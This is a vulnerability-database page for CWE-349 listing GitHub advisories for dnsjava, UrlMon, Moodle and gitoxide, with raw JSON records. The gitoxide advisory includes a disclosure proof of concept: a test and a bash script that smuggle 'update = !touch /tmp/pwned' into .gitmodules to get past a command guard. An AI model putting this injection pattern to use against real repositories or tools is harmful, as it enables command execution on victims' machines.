Common Weakness Enumeration

CWE-349

Allowed

Acceptance of Extraneous Untrusted Data With Trusted Data

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

76 vulnerabilities reference this CWE, most recent first.

GHSA-CFXW-4H78-H7FW

Vulnerability from github – Published: 2024-07-22 14:33 – Updated: 2024-09-04 14:24
VLAI
Summary
DNSJava DNSSEC Bypass
Details

Summary

Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.

Details

DNS Messages are not authenticated. They do not guarantee that

  • received RRs are authentic
  • not received RRs do not exist
  • all or any received records in a response relate to the request

Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)

  1. denote by QNAME the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases
  2. if the ANSWER section contains a valid PTR RRSet for QNAME, return it (and optionally return the list of aliases as well)
  3. if the ANSWER section contains a valid CNAME RRSet for QNAME, add it to the list of aliases. Set QNAME to the CNAME's target and go to 2.
  4. Verify that QNAME does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return null.

Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.

dnsjava does not implement a comparable algorithm, and the provided APIs instead return either

  • the received DNS message itself (e.g. when using a ValidatingResolver such as in this example), or
  • essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in this example)

If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can

  • In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or
  • completely exchange the relevant response records

Impact

DNS(SEC) libraries are usually used as part of a larger security framework. Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. Here are three concrete examples of where this might be detrimental:

  • RFC 6186 specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials.
  • When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.
  • Some research projects like LIGHTest are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.

Mitigations

At this point, the following mitigations are recommended:

  • When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).
  • For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. LookupSession.lookupAsync.
  • Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.
Severity
8.9 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
7.0 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "dnsjava:dnsjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25638"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-22T14:33:41Z",
    "nvd_published_at": "2024-07-22T14:15:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nRecords in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.\n\n### Details\n\nDNS Messages are not authenticated. They do not guarantee that\n\n- received RRs are authentic\n- not received RRs do not exist\n- all or any received records in a response relate to the request\n\nApplications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two.\nTo meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)\n\n1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases\n2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well)\n3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME\u0027s target and go to 2.\n4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`.\n\nNote that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.\n\ndnsjava does not implement a comparable algorithm, and the provided APIs instead return either\n\n- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or\n- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example)\n\nIf applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can\n\n- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or\n- completely exchange the relevant response records\n\n### Impact\n\nDNS(SEC) libraries are usually used as part of a larger security framework.\nTherefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request.\nHere are three concrete examples of where this might be detrimental:\n\n- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user\u0027s credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials.\n- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.\n- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.\n\n### Mitigations\n\nAt this point, the following mitigations are recommended:\n\n- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).\n- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`.\n- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.",
  "id": "GHSA-cfxw-4h78-h7fw",
  "modified": "2024-09-04T14:24:15Z",
  "published": "2024-07-22T14:33:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dnsjava/dnsjava/security/advisories/GHSA-cfxw-4h78-h7fw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25638"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dnsjava/dnsjava/commit/2073a0cdea2c560465f7ac0cc56f202e6fc39705"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dnsjava/dnsjava"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DNSJava DNSSEC Bypass"
}

GHSA-CQ8M-2X25-MGG8

Vulnerability from github – Published: 2025-05-13 18:30 – Updated: 2025-05-13 18:30
VLAI
Details

Acceptance of extraneous untrusted data with trusted data in UrlMon allows an unauthorized attacker to bypass a security feature over a network.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-29842"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-13T17:15:55Z",
    "severity": "HIGH"
  },
  "details": "Acceptance of extraneous untrusted data with trusted data in UrlMon allows an unauthorized attacker to bypass a security feature over a network.",
  "id": "GHSA-cq8m-2x25-mgg8",
  "modified": "2025-05-13T18:30:54Z",
  "published": "2025-05-13T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29842"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29842"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CWH2-Q44X-5W3C

Vulnerability from github – Published: 2023-11-09 21:30 – Updated: 2023-11-17 21:59
VLAI
Summary
Moodle Acceptance of Extraneous Untrusted Data With Trusted Data vulnerability
Details

Stronger revision number limitations were required on file serving endpoints to improve cache poisoning protection.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.0-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-5548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-10T00:42:08Z",
    "nvd_published_at": "2023-11-09T20:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Stronger revision number limitations were required on file serving endpoints to improve cache poisoning protection.",
  "id": "GHSA-cwh2-q44x-5w3c",
  "modified": "2023-11-17T21:59:36Z",
  "published": "2023-11-09T21:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5548"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/7679452caff6faa33f00d3f0589c5190bc01a933"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2243449"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moodle/moodle"
    },
    {
      "type": "WEB",
      "url": "https://moodle.org/mod/forum/discuss.php?d=451589"
    },
    {
      "type": "WEB",
      "url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-77846"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Moodle Acceptance of Extraneous Untrusted Data With Trusted Data vulnerability"
}

GHSA-F26G-JM89-4G65

Vulnerability from github – Published: 2026-05-05 19:23 – Updated: 2026-06-30 17:41
VLAI
Summary
gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules
Details

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

  1. Attacker's repo ships a benign .gitmodules (no update key).
  2. Victim clones and runs git submodule init -> .git/config contains: ini [submodule "sub"] active = true url = /tmp/sub-origin
  3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
  4. Victim runs git pull -> .gitmodules now contains: ini [submodule "sub"] path = sub url = /tmp/sub-origin update = !touch /tmp/pwned while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard: - The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed. - However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
    update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that: 1. Calls Submodule::update() to determine the update strategy, and 2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

  • The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
  • The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
  • Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

  • CI/forge integrations that auto-init submodules and then query the update mode
  • Editor/IDE extensions using gix for submodule info
  • Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.5 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "gix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.31.0"
            },
            {
              "fixed": "0.83.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-349",
      "CWE-501",
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:23:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n[`gix_submodule::File::update()`](https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168) is the API that gates whether an attacker-supplied `.gitmodules` file may set `update = !\u003cshell command\u003e`. The function is designed to return `Err(CommandForbiddenInModulesConfiguration)` unless the `!command` value came from a trusted local source (`.git/config`). Git CVE [CVE-2019-19604](https://nvd.nist.gov/vuln/detail/cve-2019-19604) illustrates why this check is necessary.\n\nHowever, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-`.gitmodules` source; it does not verify that the `update` value came from that section.\n\nOnce a submodule has been initialized (any workflow that writes `submodule.\u003cname\u003e.url` to `.git/config`), and the attacker subsequently adds `update = !cmd` to `.gitmodules`, the guard passes while the command value falls through to the attacker-controlled file.\n\nOn an identical repository state, `git submodule update` aborts with `fatal: invalid value for \u0027submodule.sub.update\u0027`, while `gix::Submodule::update()` returns `Ok(Some(Update::Command(\"touch /tmp/pwned\")))`.\n\nThe vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.\n\n### Details\n\nThe vulnerable method is `gix_submodule::File::update`: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:\n\n```rust\npub fn update(\u0026self, name: \u0026BStr) -\u003e Result\u003cOption\u003cUpdate\u003e, config::update::Error\u003e {\n    let value: Update = match self.config.string(format!(\"submodule.{name}.update\")) {\n        //                    ^^^^^^^^^^^^^^^^^^\n        //  [A] Reads the value. gix_config::File::string() iterates sections\n        //      newest-to-oldest; if the override section lacks `update`, it\n        //      falls through to .gitmodules and returns the attacker value.\n        //\n        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76\n        Some(v) =\u003e v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {\n            submodule: name.to_owned(),\n            actual: v.into_owned(),\n        })?,\n        None =\u003e return Ok(None),\n    };\n\n    if let Update::Command(cmd) = \u0026value {\n        let ours = self.config.meta();\n        let has_value_from_foreign_section = self\n            .config\n            .sections_by_name(\"submodule\")\n            .into_iter()\n            .flatten()\n            .any(|s| s.header().subsection_name() == Some(name) \u0026\u0026 !std::ptr::eq(s.meta(), ours));\n            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n            //  [B] Checks only that SOME section with this name exists from a\n            //      non-.gitmodules source. Does NOT check where [A]\u0027s value\n            //      came from.\n        if !has_value_from_foreign_section {\n            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });\n        }\n    }\n    Ok(Some(value))\n}\n```\n\n### PoC\n\n`git submodule init` copies `submodule.$name.url` and writes `active = true` into `.git/config` ([`init_submodule()`, builtin/submodule--helper.c:438-517](https://github.com/git/git/blob/v2.53.0/builtin/submodule--helper.c#L438-L517)). It does not unconditionally copy `update`.\n\nSince CVE-2019-19604, `git` rejects `.gitmodules` files that contain `update = !cmd` at parse time. However, `init` is a one-time operation - once the `.git/config` section exists, subsequent changes to `.gitmodules` are not re-inited.\n\nSo, the attack sequence is:\n\n1. Attacker\u0027s repo ships a benign `.gitmodules` (no `update` key).\n2. Victim clones and runs `git submodule init` -\u003e `.git/config` contains:\n   ```ini\n   [submodule \"sub\"]\n       active = true\n       url = /tmp/sub-origin\n   ```\n3. Attacker pushes a new commit adding `update = !cmd` to `.gitmodules`.\n4. Victim runs `git pull` -\u003e `.gitmodules` now contains:\n   ```ini\n   [submodule \"sub\"]\n       path = sub\n       url = /tmp/sub-origin\n       update = !touch /tmp/pwned\n   ```\n   while `.git/config` is unchanged.\n\nThis is the precise state that bypasses gitoxide\u0027s guard:\n- The .git/config entry - even though it contains only url and active - causes [`append_submodule_overrides`](https://github.com/GitoxideLabs/gitoxide/blob/dd5c18d9e526e8de462fa40aa047acd097cfa7dc/gix-submodule/src/lib.rs#L41) to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.\n- However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker\u0027s !touch /tmp/pwned.\n\nThe bug is the mismatch between what [A] and [B] actually inspect: [A] asks \"which section provides the update value?\" (answer: .gitmodules), while [B] asks \"does any trusted section exist for this submodule?\" (answer: yes). A correct guard would ask the same question as [A].\n\nGit itself would refuse to operate on this repository at the next `git submodule update`. The vulnerability is in gitoxide-based consumers that call `Submodule::update()` and trust its output.\n\n### Option 1: Unit test (verified - passes, confirming the bug)\n\nDrop into `gix-submodule/tests/file/mod.rs` inside `mod update`:\n\n```rust\n#[test]\nfn security_bypass_via_partial_override() {\n    use std::str::FromStr;\n\n    // Attacker-controlled .gitmodules\n    let gitmodules =\n        \"[submodule.a]\\n url = https://example.com/a\\n update = !touch /tmp/pwned\";\n\n    // Post-`git submodule init` state: only `url` copied to .git/config\n    let repo_config =\n        gix_config::File::from_str(\"[submodule.a]\\n url = https://example.com/a\").unwrap();\n\n    let module =\n        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, \u0026repo_config).unwrap();\n\n    let result = module.update(\"a\".into());\n    // VULNERABLE: prints `Ok(Some(Command(\"touch /tmp/pwned\")))`\n    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`\n    eprintln!(\"{:?}\", result);\n}\n```\n\n```console\n$ cargo test -p gix-submodule security_bypass -- --nocapture\nrunning 1 test\nbypass result: Ok(Some(Command(\"touch /tmp/pwned\")))\ntest file::update::security_bypass_via_partial_override ... ok\n```\n\n### Option 2: End-to-end - git refuses, gitoxide accepts\n\nVerified with **git 2.51.2** and **gix @ `dd5c18d9e`**.\n\n```bash\n#!/bin/bash\nset -e\ncd /tmp\nrm -rf evil-repo victim sub-origin 2\u003e/dev/null || true\n\n# --- Setup ---\nmkdir sub-origin \u0026\u0026 cd sub-origin\ngit init -q \u0026\u0026 git commit -q --allow-empty -m init\ncd /tmp\n\n# --- [1] Attacker creates repo with BENIGN submodule ---\nmkdir evil-repo \u0026\u0026 cd evil-repo\ngit init -q\ngit -c protocol.file.allow=always submodule add /tmp/sub-origin sub\ngit commit -q -m \"add submodule (benign)\"\ncd /tmp\n\n# --- [2] Victim clones and inits (passes git\u0027s .gitmodules validation) ---\ngit -c protocol.file.allow=always clone -q /tmp/evil-repo victim\ncd victim\ngit submodule init\n# .git/config now has: [submodule \"sub\"] active=true, url=..., NO update key\ncd /tmp\n\n# --- [3] Attacker adds malicious update to .gitmodules ---\ncd evil-repo\ncat \u003e\u003e .gitmodules \u003c\u003c\u0027EOF\u0027\n\tupdate = !touch /tmp/pwned\nEOF\ngit commit -q -am \"add malicious update\"\ncd /tmp\n\n# --- [4] Victim pulls ---\ncd victim\ngit pull -q\n```\n\nFinal state:\n```\n--- .gitmodules:\n[submodule \"sub\"]\n        path = sub\n        url = /tmp/sub-origin\n        update = !touch /tmp/pwned\n--- .git/config (submodule section):\n[submodule \"sub\"]\n        active = true\n        url = /tmp/sub-origin\n```\n\n**Upstream git on this state:**\n```console\n$ cd /tmp/victim \u0026\u0026 git submodule update\nfatal: invalid value for \u0027submodule.sub.update\u0027\n$ echo $?\n128\n$ test -f /tmp/pwned \u0026\u0026 echo VULNERABLE || echo SAFE\nSAFE\n```\n\n**Gitoxide on the same state:**\n```rust\n// /tmp/gix-repro/main.rs\nlet repo = gix::open(\"/tmp/victim\")?;\nfor sm in repo.submodules()?.expect(\"submodules present\") {\n    println!(\"{}: {:?}\", sm.name(), sm.update());\n}\n```\n```console\n$ cargo run\nsub: Ok(Some(Command(\"touch /tmp/pwned\")))\n```\n\nThe `CommandForbiddenInModulesConfiguration` guard never fires.\n\n### Impact\n\n### Direct\n\nAny downstream code built on `gix` that:\n1. Calls `Submodule::update()` to determine the update strategy, and\n2. Trusts that `Update::Command(_)` is safe to execute (because `CommandForbiddenInModulesConfiguration` exists as the documented guard)\n\n\u2026will execute attacker-controlled shell commands on `submodule update` against a previously-initialized submodule.\n\n`gix` itself does not currently ship a `submodule update` implementation, so there is no RCE in the `gix` CLI today. However:\n\n- The `Submodule::update()` API is public at `gix/src/submodule/mod.rs:108` and delegates directly to the vulnerable function.\n- The error variant name (`CommandForbiddenInModulesConfiguration`) and test suite (`valid_in_overrides` at `gix-submodule/tests/file/mod.rs:272`) explicitly document this as the security boundary.\n- Any third-party tool, IDE plugin, or CI integration building submodule-update on top of `gix` inherits this vulnerability.\n\n### Indirect / second-order\n\n- CI/forge integrations that auto-init submodules and then query the update mode\n- Editor/IDE extensions using `gix` for submodule info\n- Gitoxide-based `init` equivalents - any tool that implements its own init (writing `url` to local config) creates the bypass state without needing the pull-after-init sequence",
  "id": "GHSA-f26g-jm89-4g65",
  "modified": "2026-06-30T17:41:01Z",
  "published": "2026-05-05T19:23:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GitoxideLabs/gitoxide"
    },
    {
      "type": "WEB",
      "url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gitoxide: CommandForbiddenInModulesConfiguration Bypass in gix_submodule::File::update() Enables Arbitrary Command Execution via .gitmodules"
}

GHSA-G3WM-F7GR-3FWH

Vulnerability from github – Published: 2024-04-17 00:30 – Updated: 2024-04-26 09:30
VLAI
Details

